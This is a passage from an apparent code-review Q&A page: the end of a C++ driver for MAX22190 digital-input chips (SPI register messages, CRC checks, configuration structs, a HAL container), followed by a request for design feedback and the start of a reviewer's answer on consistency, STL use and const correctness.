transceiver-&gt;startTransaction(device); } </code></pre> <p><strong>ReadRegRequest</strong></p> <pre><code>#include &quot;Message.h&quot; #include &quot;DigitalInputsDriverCfg.h&quot; #include &quot;Transceiver.h&quot; class ReadRegRequestMsg : public Message { public: ReadRegRequestMsg(); ReadRegRequestMsg(DigitalInputsDriverCfg::Device _device, uint8_t _address, Transceiver *_transceiver); void read(void); void write(void); private: union MsgData{ struct { uint32_t crc : 5; uint32_t fill : 11; uint32_t reg_addr : 7; uint32_t msb : 1; }bits; uint8_t bytes[3]; }; DigitalInputsDriverCfg::Device device; uint8_t address; MsgData msg; Transceiver *transceiver; }; #include &quot;ReadRegRequestMsg.h&quot; ReadRegRequestMsg::ReadRegRequestMsg(){} ReadRegRequestMsg::ReadRegRequestMsg(DigitalInputsDriverCfg::Device _device, uint8_t _address, Transceiver *_transceiver) { device = _device; address = _address; transceiver = _transceiver; } void ReadRegRequestMsg::read(void){} void ReadRegRequestMsg::write(void) { msg.bits.msb = 0; msg.bits.reg_addr = address; msg.bits.fill = 0; uint8_t crc = crcMAX22190(msg.bytes[2], msg.bytes[1], msg.bytes[0]); msg.bits.crc = crc; transceiver-&gt;putBytes(msg.bytes); transceiver-&gt;startTransaction(device); } </code></pre> <p><strong>WriteRegResponse</strong></p> <pre><code>#include &quot;Message.h&quot; #include &quot;Transceiver.h&quot; class WriteRegResponseMsg : public Message { public: WriteRegResponseMsg(); WriteRegResponseMsg(Transceiver *_transceiver); void read(void); void write(void); bool isValid(void); uint32_t getData(void); private: union MsgData{ struct { uint32_t crc : 5; uint32_t flags : 3; uint32_t wb_reg_state : 8; uint32_t inputs_state : 8; }bits; uint8_t bytes[3]; }; MsgData msg; Transceiver *transceiver; }; #include &quot;WriteRegResponseMsg.h&quot; WriteRegResponseMsg::WriteRegResponseMsg(){} WriteRegResponseMsg::WriteRegResponseMsg(Transceiver *_transceiver) { transceiver = _transceiver; } void WriteRegResponseMsg::read(void) { transceiver-&gt;getBytes(msg.bytes); } void WriteRegResponseMsg::write(void){} bool WriteRegResponseMsg::isValid(void) { uint8_t crc = crcMAX22190(msg.bytes[2], msg.bytes[1], msg.bytes[0]); if(crc == 0){ return true; }else{ return false; } } uint32_t WriteRegResponseMsg::getData(void) { uint32_t data = 0; data = ((static_cast&lt;uint32_t&gt;(msg.bytes[0]) &lt;&lt; 16) | (static_cast&lt;uint32_t&gt;(msg.bytes[1]) &lt;&lt; 8) | (static_cast&lt;uint32_t&gt;(msg.bytes[2]) &amp; 0xE0)); return data; } </code></pre> <p><strong>ReadRegResponse</strong></p> <pre><code>#include &quot;Message.h&quot; #include &quot;Transceiver.h&quot; class ReadRegResponseMsg : public Message { public: ReadRegResponseMsg(); ReadRegResponseMsg(Transceiver *_transceiver); void read(void); void write(void); bool isValid(void); uint32_t getData(void); uint8_t getRegisterData(void); private: union MsgData{ struct { uint32_t crc : 5; uint32_t flags : 3; uint32_t reg_state : 8; uint32_t inputs_state : 8; }bits; uint8_t bytes[3]; }; MsgData msg; Transceiver *transceiver; }; #include &quot;ReadRegResponseMsg.h&quot; ReadRegResponseMsg::ReadRegResponseMsg() {} ReadRegResponseMsg::ReadRegResponseMsg(Transceiver *_transceiver) { transceiver = _transceiver; } void ReadRegResponseMsg::read(void) { transceiver-&gt;getBytes(msg.bytes); } void ReadRegResponseMsg::write(void){} bool ReadRegResponseMsg::isValid(void) { uint8_t crc = crcMAX22190(msg.bytes[2], msg.bytes[1], msg.bytes[0]); if(crc == 0){ return true; }else{ return false; } } uint32_t ReadRegResponseMsg::getData(void) { uint32_t data = 0; data = ((static_cast&lt;uint32_t&gt;(msg.bytes[0]) &lt;&lt; 16) | (static_cast&lt;uint32_t&gt;(msg.bytes[1]) &lt;&lt; 8) | (static_cast&lt;uint32_t&gt;(msg.bytes[2]) &amp; 0xE0)); return data; } uint8_t ReadRegResponseMsg::getRegisterData(void) { return msg.bytes[1]; } </code></pre> <p><strong>DigitalInputsDriverCfg</strong></p> <pre><code>#include &lt;cstdint&gt; class DigitalInputsDriverCfg { public: enum class Device { kMAX22190Device_0, kMAX22190Device_1, kNoMAX22190Devices }; enum class Input{ kInput_01, kInput_02, kInput_03, kInput_04, kInput_05, kInput_06, kInput_07, kInput_08, kNoInputs }; enum class MAX22190RegisterType{ kWb, kDi, kFault1, kFlt1, kFlt2, kFlt3, kFlt4, kFlt5, kFlt6, kFlt7, kFlt8, kCfg, kInEn, kFault2, kFault2En, kGpo, kFault1En, kNop }; enum class WireBreakDetection{ kWireBreakDetectionDisabled, kWireBreakDetectionEnabled }; enum class ProgrammableFilter{ kProgrammableFilterUsed, kProgrammableFilterBypassed }; enum class FilterDelay{ kInputFilterDelay50us, kInputFilterDelay100us, kInputFilterDelay400us, kInputFilterDelay800us, kInputFilterDelay1_6ms, kInputFilterDelay3_2ms, kInputFilterDelay12_8ms, kInputFilterDelay20ms }; enum class Flags24VClearMethod{ k24VFlagClearedBySpiTransactionFault1RegReading, k24VFlagClearedByFault1RegReading }; enum class FiltersOperation{ kFiltersOperationNormal, kFiltersOperationFixed }; enum class ShortCircuitDetection{ kShortCircuitDetectionDisabled, kShortCircuitDetectionEnabled }; enum class InputEnable{kInputDisabled, kInputEnabled}; enum class Fault2SrcInFault1Reg{ kFault8CkeInFault1Reg, kOtShdnInFault1Reg, kPinREFDIOpenInFault1Reg, kPinREFDIShortInFault1Reg, kPinREFWBOpenInFault1Reg, kPinREFWBShortInFault1Reg, kNoFault2Src }; enum class Fault2SrcUsage{kFault2SrcNotUsed, kFault2SrcUsed}; struct Fault2BitInFault1RegCfg { Fault2SrcInFault1Reg fault2; Fault2SrcUsage usage; }; enum class FaultPinCfg{kFaultPinNotSticky, kFaultPinSticky}; enum class FaultPinActivationSrc{ kFaultPinActivationCrc, kFaultPinActivationPor, kFaultPinActivationFault2, kFaultPinActivationAlarmT2, kFaultPinActivationAlarmT1, kFaultPinActivation24VL, kFaultPinActivation24VM, kFaultPinActivationWireBreak, kNoFaultPinActivationSrc }; enum class FaultPinActivationSrcUsage{kNotUsed, kUsed}; struct FaultPinActivationCfg { FaultPinActivationSrc src; FaultPinActivationSrcUsage usage; }; struct InputCfg { Input input; InputEnable input_enable; WireBreakDetection wire_break_detection_enable; ProgrammableFilter filter_enable; FilterDelay filter_delay; }; struct MAX22190Config { Device device; InputCfg inputs_cfg[static_cast&lt;uint8_t&gt;(Input::kNoInputs)]; Flags24VClearMethod flags_clear_method; FiltersOperation filters_operation; ShortCircuitDetection short_circuit_detection; Fault2BitInFault1RegCfg fault2_src_cfg[static_cast&lt;uint8_t&gt;( Fault2SrcInFault1Reg::kNoFault2Src)]; FaultPinCfg fault_pin_cfg; FaultPinActivationCfg fault_pin_activation_cfg[static_cast&lt;uint8_t&gt;( FaultPinActivationSrc::kNoFaultPinActivationSrc)]; }; DigitalInputsDriverCfg(const MAX22190Config *_configuration); uint8_t getRegisterConfigData(Device device, MAX22190RegisterType reg); private: union Fault1RegBitMap{ struct { uint32_t wbg_bit : 1; uint32_t _24vm_bit : 1; uint32_t _24vl_bit : 1; uint32_t alarmt1_bit : 1; uint32_t alarmt2_bit : 1; uint32_t fault2_bit : 1; uint32_t por_bit : 1; uint32_t crc_bit : 1; }bits; uint8_t byte; }; union FltxRegBitMap{ struct { uint32_t delay : 3; uint32_t fbp_bit : 1; uint32_t wbe_bit : 1; uint32_t reserve : 3; }bits; uint8_t byte; }; union CfgRegBitMap{ struct { uint32_t refdi_sh_ena_bit : 1; uint32_t reserve_01 : 2; uint32_t clrf_bit : 1; uint32_t _24vf_bit : 1; uint32_t reserve_02 : 3; }bits; uint8_t byte; }; union Fault2RegBitMap{ struct { uint32_t rfwbs_bit : 1; uint32_t rfwbo_bit : 1; uint32_t rfdis_bit : 1; uint32_t rfdio_bit : 1; uint32_t otshdn_bit : 1; uint32_t fault8ck_bit : 1; uint32_t reserve : 2; }bits; uint8_t byte; }; union Fault2EnRegBitMap{ struct { uint32_t rfwbse_bit : 1; uint32_t rfwboe_bit : 1; uint32_t rfdise_bit : 1; uint32_t rfdioe_bit : 1; uint32_t otshdne_bit : 1; uint32_t fault8cke_bit : 1; uint32_t reserve : 2; }bits; uint8_t byte; }; union GpoRegBitMap{ struct { uint32_t reserve : 7; uint32_t stk_bit : 1; }bits; uint8_t byte; }; union Fault1EnRegBitMap{ struct { uint32_t wbge_bit : 1; uint32_t _24vme_bit : 1; uint32_t _24vle_bit : 1; uint32_t alarmt1e_bit : 1; uint32_t alarmt2e_bit : 1; uint32_t fault2e_bit : 1; uint32_t pore_bit : 1; uint32_t crce_bit : 1; }bits; uint8_t byte; }; const MAX22190Config *configuration; uint8_t readInEnRegCfgData(Device device); uint8_t readFltxRegCfgData(Device device, Input input); uint8_t readFault2EnRegCfgData(Device device); uint8_t readFault1EnRegCfgData(Device device); uint8_t readCfgRegCfgData(Device device); uint8_t readGpoRegCfgData(Device device); }; #include &quot;DigitalInputsDriverCfg.h&quot; DigitalInputsDriverCfg::DigitalInputsDriverCfg(const MAX22190Config* _configuration) { configuration = _configuration; } uint8_t DigitalInputsDriverCfg::getRegisterConfigData(Device device, MAX22190RegisterType reg) { uint8_t data; switch(reg) { case MAX22190RegisterType::kWb: data = 0; break; case MAX22190RegisterType::kDi: data = 0; break; case MAX22190RegisterType::kFault1: data = 0; break; case MAX22190RegisterType::kFlt1: data = readFltxRegCfgData(device, Input::kInput_01); break; case MAX22190RegisterType::kFlt2: data = readFltxRegCfgData(device, Input::kInput_02); break; case MAX22190RegisterType::kFlt3: data = readFltxRegCfgData(device, Input::kInput_03); break; case MAX22190RegisterType::kFlt4: data = readFltxRegCfgData(device, Input::kInput_04); break; case MAX22190RegisterType::kFlt5: data = readFltxRegCfgData(device, Input::kInput_05); break; case MAX22190RegisterType::kFlt6: data = readFltxRegCfgData(device, Input::kInput_06); break; case MAX22190RegisterType::kFlt7: data = readFltxRegCfgData(device, Input::kInput_07); break; case MAX22190RegisterType::kFlt8: data = readFltxRegCfgData(device, Input::kInput_08); break; case MAX22190RegisterType::kCfg: data = readCfgRegCfgData(device); break; case MAX22190RegisterType::kInEn: data = readInEnRegCfgData(device); break; case MAX22190RegisterType::kFault2: data = 0; break; case MAX22190RegisterType::kFault2En: data = readFault2EnRegCfgData(device); break; case MAX22190RegisterType::kGpo: data = readGpoRegCfgData(device); break; case MAX22190RegisterType::kFault1En: data = readFault1EnRegCfgData(device); break; case MAX22190RegisterType::kNop: data = 0; break; } return data; } uint8_t DigitalInputsDriverCfg::readInEnRegCfgData(Device device) { uint8_t reg_data = 0; for(uint8_t cur_input = 0; cur_input &lt; static_cast&lt;uint8_t&gt;(Input::kNoInputs); cur_input++){ if(configuration[static_cast&lt;uint8_t&gt;(device)] .inputs_cfg[cur_input] .input_enable == InputEnable::kInputEnabled){ reg_data |= (1 &lt;&lt; cur_input); } } return reg_data; } uint8_t DigitalInputsDriverCfg::readFltxRegCfgData(Device device, Input input) { FltxRegBitMap reg_data; reg_data.byte = 0; if(configuration[static_cast&lt;uint8_t&gt;(device)] .inputs_cfg[static_cast&lt;uint8_t&gt;(input)] .wire_break_detection_enable == WireBreakDetection::kWireBreakDetectionEnabled){ reg_data.bits.wbe_bit = 1; } if(configuration[static_cast&lt;uint8_t&gt;(device)] .inputs_cfg[static_cast&lt;uint8_t&gt;(input)] .filter_enable == ProgrammableFilter::kProgrammableFilterBypassed){ reg_data.bits.fbp_bit = 1; } reg_data.bits.delay = static_cast&lt;uint8_t&gt;(configuration[static_cast&lt;uint8_t&gt;(device)] .inputs_cfg[static_cast&lt;uint8_t&gt;(input)] .filter_delay); return reg_data.byte; } uint8_t DigitalInputsDriverCfg::readFault2EnRegCfgData(Device device) { Fault2EnRegBitMap reg_data; reg_data.byte = 0; for(uint8_t cur_record = 0; cur_record &lt; static_cast&lt;uint8_t&gt;( Fault2SrcInFault1Reg::kNoFault2Src); cur_record++){ switch (configuration[static_cast&lt;uint8_t&gt;(device)] .fault2_src_cfg[cur_record] .fault2){ case Fault2SrcInFault1Reg::kFault8CkeInFault1Reg: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault2_src_cfg[cur_record] .usage == Fault2SrcUsage::kFault2SrcUsed){ reg_data.bits.fault8cke_bit = 1; } break; case Fault2SrcInFault1Reg::kOtShdnInFault1Reg: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault2_src_cfg[cur_record] .usage == Fault2SrcUsage::kFault2SrcUsed){ reg_data.bits.otshdne_bit = 1; } break; case Fault2SrcInFault1Reg::kPinREFDIOpenInFault1Reg: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault2_src_cfg[cur_record] .usage == Fault2SrcUsage::kFault2SrcUsed){ reg_data.bits.rfdioe_bit = 1; } break; case Fault2SrcInFault1Reg::kPinREFDIShortInFault1Reg: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault2_src_cfg[cur_record] .usage == Fault2SrcUsage::kFault2SrcUsed){ reg_data.bits.rfdise_bit = 1; } break; case Fault2SrcInFault1Reg::kPinREFWBOpenInFault1Reg: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault2_src_cfg[cur_record] .usage == Fault2SrcUsage::kFault2SrcUsed){ reg_data.bits.rfwboe_bit = 1; } break; case Fault2SrcInFault1Reg::kPinREFWBShortInFault1Reg: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault2_src_cfg[cur_record] .usage == Fault2SrcUsage::kFault2SrcUsed){ reg_data.bits.rfwbse_bit = 1; } break; } } return reg_data.byte; } uint8_t DigitalInputsDriverCfg::readFault1EnRegCfgData(Device device) { Fault1EnRegBitMap reg_data; reg_data.byte = 0; for(uint8_t cur_record = 0; cur_record &lt; static_cast&lt;uint8_t&gt;( FaultPinActivationSrc::kNoFaultPinActivationSrc); cur_record++){ switch(configuration[static_cast&lt;uint8_t&gt;(device)] .fault_pin_activation_cfg[cur_record] .src){ case FaultPinActivationSrc::kFaultPinActivationCrc: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault_pin_activation_cfg[cur_record] .usage == FaultPinActivationSrcUsage::kUsed){ reg_data.bits.crce_bit = 1; } break; case FaultPinActivationSrc::kFaultPinActivationPor: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault_pin_activation_cfg[cur_record] .usage == FaultPinActivationSrcUsage::kUsed){ reg_data.bits.pore_bit = 1; } break; case FaultPinActivationSrc::kFaultPinActivationFault2: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault_pin_activation_cfg[cur_record] .usage == FaultPinActivationSrcUsage::kUsed){ reg_data.bits.fault2e_bit = 1; } break; case FaultPinActivationSrc::kFaultPinActivationAlarmT2: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault_pin_activation_cfg[cur_record] .usage == FaultPinActivationSrcUsage::kUsed){ reg_data.bits.alarmt2e_bit = 1; } break; case FaultPinActivationSrc::kFaultPinActivationAlarmT1: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault_pin_activation_cfg[cur_record] .usage == FaultPinActivationSrcUsage::kUsed){ reg_data.bits.alarmt1e_bit = 1; } break; case FaultPinActivationSrc::kFaultPinActivation24VL: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault_pin_activation_cfg[cur_record] .usage == FaultPinActivationSrcUsage::kUsed){ reg_data.bits._24vle_bit = 1; } break; case FaultPinActivationSrc::kFaultPinActivation24VM: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault_pin_activation_cfg[cur_record] .usage == FaultPinActivationSrcUsage::kUsed){ reg_data.bits._24vme_bit = 1; } break; case FaultPinActivationSrc:: kFaultPinActivationWireBreak: if(configuration[static_cast&lt;uint8_t&gt;(device)] .fault_pin_activation_cfg[cur_record] .usage == FaultPinActivationSrcUsage::kUsed){ reg_data.bits.wbge_bit = 1; } break; } } return reg_data.byte; } uint8_t DigitalInputsDriverCfg::readCfgRegCfgData(Device device) { CfgRegBitMap reg_data; reg_data.byte = 0; if(configuration[static_cast&lt;uint8_t&gt;(device)].short_circuit_detection == ShortCircuitDetection::kShortCircuitDetectionEnabled){ reg_data.bits.refdi_sh_ena_bit = 1; } if(configuration[static_cast&lt;uint8_t&gt;(device)].filters_operation == FiltersOperation::kFiltersOperationFixed){ reg_data.bits.clrf_bit = 1; } if(configuration[static_cast&lt;uint8_t&gt;(device)].flags_clear_method == Flags24VClearMethod:: k24VFlagClearedByFault1RegReading){ reg_data.bits._24vf_bit = 1; } return reg_data.byte; } uint8_t DigitalInputsDriverCfg::readGpoRegCfgData(Device device) { GpoRegBitMap reg_data; reg_data.byte = 0; if(configuration[static_cast&lt;uint8_t&gt;(device)].fault_pin_cfg == FaultPinCfg::kFaultPinSticky){ reg_data.bits.stk_bit = 1; } return reg_data.byte; } </code></pre> <p>The intended usage of the driver is following:</p> <ul> <li>whole the configuration information are in the <code>FpgaDriversCfg</code> struct</li> <li>the instance of the <code>DigitalInputsDriver</code> is along with instances of other drivers in the &quot;container&quot; <code>Hal</code></li> </ul> <p><strong>FpgaDriversCfg</strong></p> <pre><code>#include &quot;DigitalInputsDriverCfg.h&quot; struct FpgaDriversCfg { DigitalInputsDriverCfg::MAX22190Config di_devices_cfg[static_cast&lt;uint8_t&gt;( DigitalInputsDriverCfg::Device::kNoMAX22190Devices)]={ {DigitalInputsDriverCfg::Device::kMAX22190Device_0, {{DigitalInputsDriverCfg::Input::kInput_01, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_02, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_03, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_04, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_05, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_06, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_07, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_08, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}}, DigitalInputsDriverCfg::Flags24VClearMethod:: k24VFlagClearedBySpiTransactionFault1RegReading, DigitalInputsDriverCfg::FiltersOperation::kFiltersOperationNormal, DigitalInputsDriverCfg::ShortCircuitDetection::kShortCircuitDetectionEnabled, {{DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kFault8CkeInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}, {DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kOtShdnInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}, {DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kPinREFDIOpenInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}, {DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kPinREFDIShortInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}, {DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kPinREFWBOpenInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}, {DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kPinREFWBShortInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}}, DigitalInputsDriverCfg::FaultPinCfg::kFaultPinSticky, {{DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationCrc, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationPor, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationFault2, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationAlarmT2, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationAlarmT1, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivation24VL, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivation24VM, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationWireBreak, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}}}, {DigitalInputsDriverCfg::Device::kMAX22190Device_1, {{DigitalInputsDriverCfg::Input::kInput_01, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_02, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_03, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_04, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_05, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_06, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_07, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}, {DigitalInputsDriverCfg::Input::kInput_08, DigitalInputsDriverCfg::InputEnable::kInputEnabled, DigitalInputsDriverCfg::WireBreakDetection::kWireBreakDetectionEnabled, DigitalInputsDriverCfg::ProgrammableFilter::kProgrammableFilterUsed, DigitalInputsDriverCfg::FilterDelay::kInputFilterDelay20ms}}, DigitalInputsDriverCfg::Flags24VClearMethod:: k24VFlagClearedBySpiTransactionFault1RegReading, DigitalInputsDriverCfg::FiltersOperation::kFiltersOperationNormal, DigitalInputsDriverCfg::ShortCircuitDetection::kShortCircuitDetectionEnabled, {{DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kFault8CkeInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}, {DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kOtShdnInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}, {DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kPinREFDIOpenInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}, {DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kPinREFDIShortInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}, {DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kPinREFWBOpenInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}, {DigitalInputsDriverCfg::Fault2SrcInFault1Reg::kPinREFWBShortInFault1Reg, DigitalInputsDriverCfg::Fault2SrcUsage::kFault2SrcUsed}}, DigitalInputsDriverCfg::FaultPinCfg::kFaultPinSticky, {{DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationCrc, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationPor, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationFault2, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationAlarmT2, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationAlarmT1, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivation24VL, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivation24VM, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}, {DigitalInputsDriverCfg::FaultPinActivationSrc::kFaultPinActivationWireBreak, DigitalInputsDriverCfg::FaultPinActivationSrcUsage::kUsed}}}}; DigitalInputsDriverCfg dig_inputs_cfg; FpgaDriversCfg():dig_inputs_cfg(di_devices_cfg){} }; </code></pre> <p><strong>Hal</strong></p> <pre><code>#include &quot;FpgaDriversCfg.h&quot; #include &quot;DigitalInputsDriver.h&quot; class Hal{ public: DigitalInputsDriver dig_in; Hal(); void initialize(void); private: FpgaDriversCfg fpga_configuration; }; #include &quot;Hal.h&quot; #include &quot;FpgaDriversCfg.h&quot; #include &quot;Registers.h&quot; Hal::Hal(): dig_in(&amp;(fpga_configuration.dig_inputs_cfg), 1){} void Hal::initialize(void){ dig_in.initialize(); } </code></pre> <p><strong>main</strong></p> <pre><code>#include &lt;cstdlib&gt; #include &quot;Hal.h&quot; int main(int argc, char** argv){ Hal hal; hal.initialize(); while(1){ hal.dig_in.update(); // the methods getInputState, isFault1Active, isFault2Active are intended to be called from // different tasks of the RTOS } } </code></pre> <p>I would like to ask you mainly for assessment of the whole driver design i.e. how the driver is divided into the C++ classes and how those classes interact. Further I have been thinking about the possibility to use some design pattern for working with the <code>Register</code> objects. Thank you in advance for any notes.</p>
[]
[ { "body": "<h3>Consistency</h3>\n<p>Starting with the enums - be consistent if you're going to number each one or not. Personally I prefer to not number them, and if I have constants (as returns from I2C, etc) then those are called out as constexpr values. Again, it's a matter of taste/preference which you go with, but you need to be consistent.</p>\n<h3>STL</h3>\n<p>Most of your for-loops are off on their own, and are trivial - this is very good, and using the STL would be overkill. However, there are a few places where the STL would be good.</p>\n<pre><code>/// In particular this\nbool DigitalInputsDriver::isReady(void)\n{\n bool retval = true;\n for(MAX22190 *device : devices){\n if(device-&gt;isReady() == false){\n retval = false;\n break;\n }\n }\n return retval;\n}\n\n/// could be this\nbool DigitalInputsDriver::isReady(void)\n{\n return std::all_of(begin(devices), end(devices), [](MAX22190 * device){\n return device-&gt;isReady();\n });\n}\n</code></pre>\n<p>Suddenly your code is much more expressive of what you're trying to achieve.</p>\n<h3><code>const</code> and <code>[[nodiscard]]</code></h3>\n<p>You have a lot of functions for classes, but I don't see a lot of <code>const</code> or <code>[[nodiscard]]</code>. If a function doesn't modify the class, make sure that it's <code>const</code>- this particularly applies 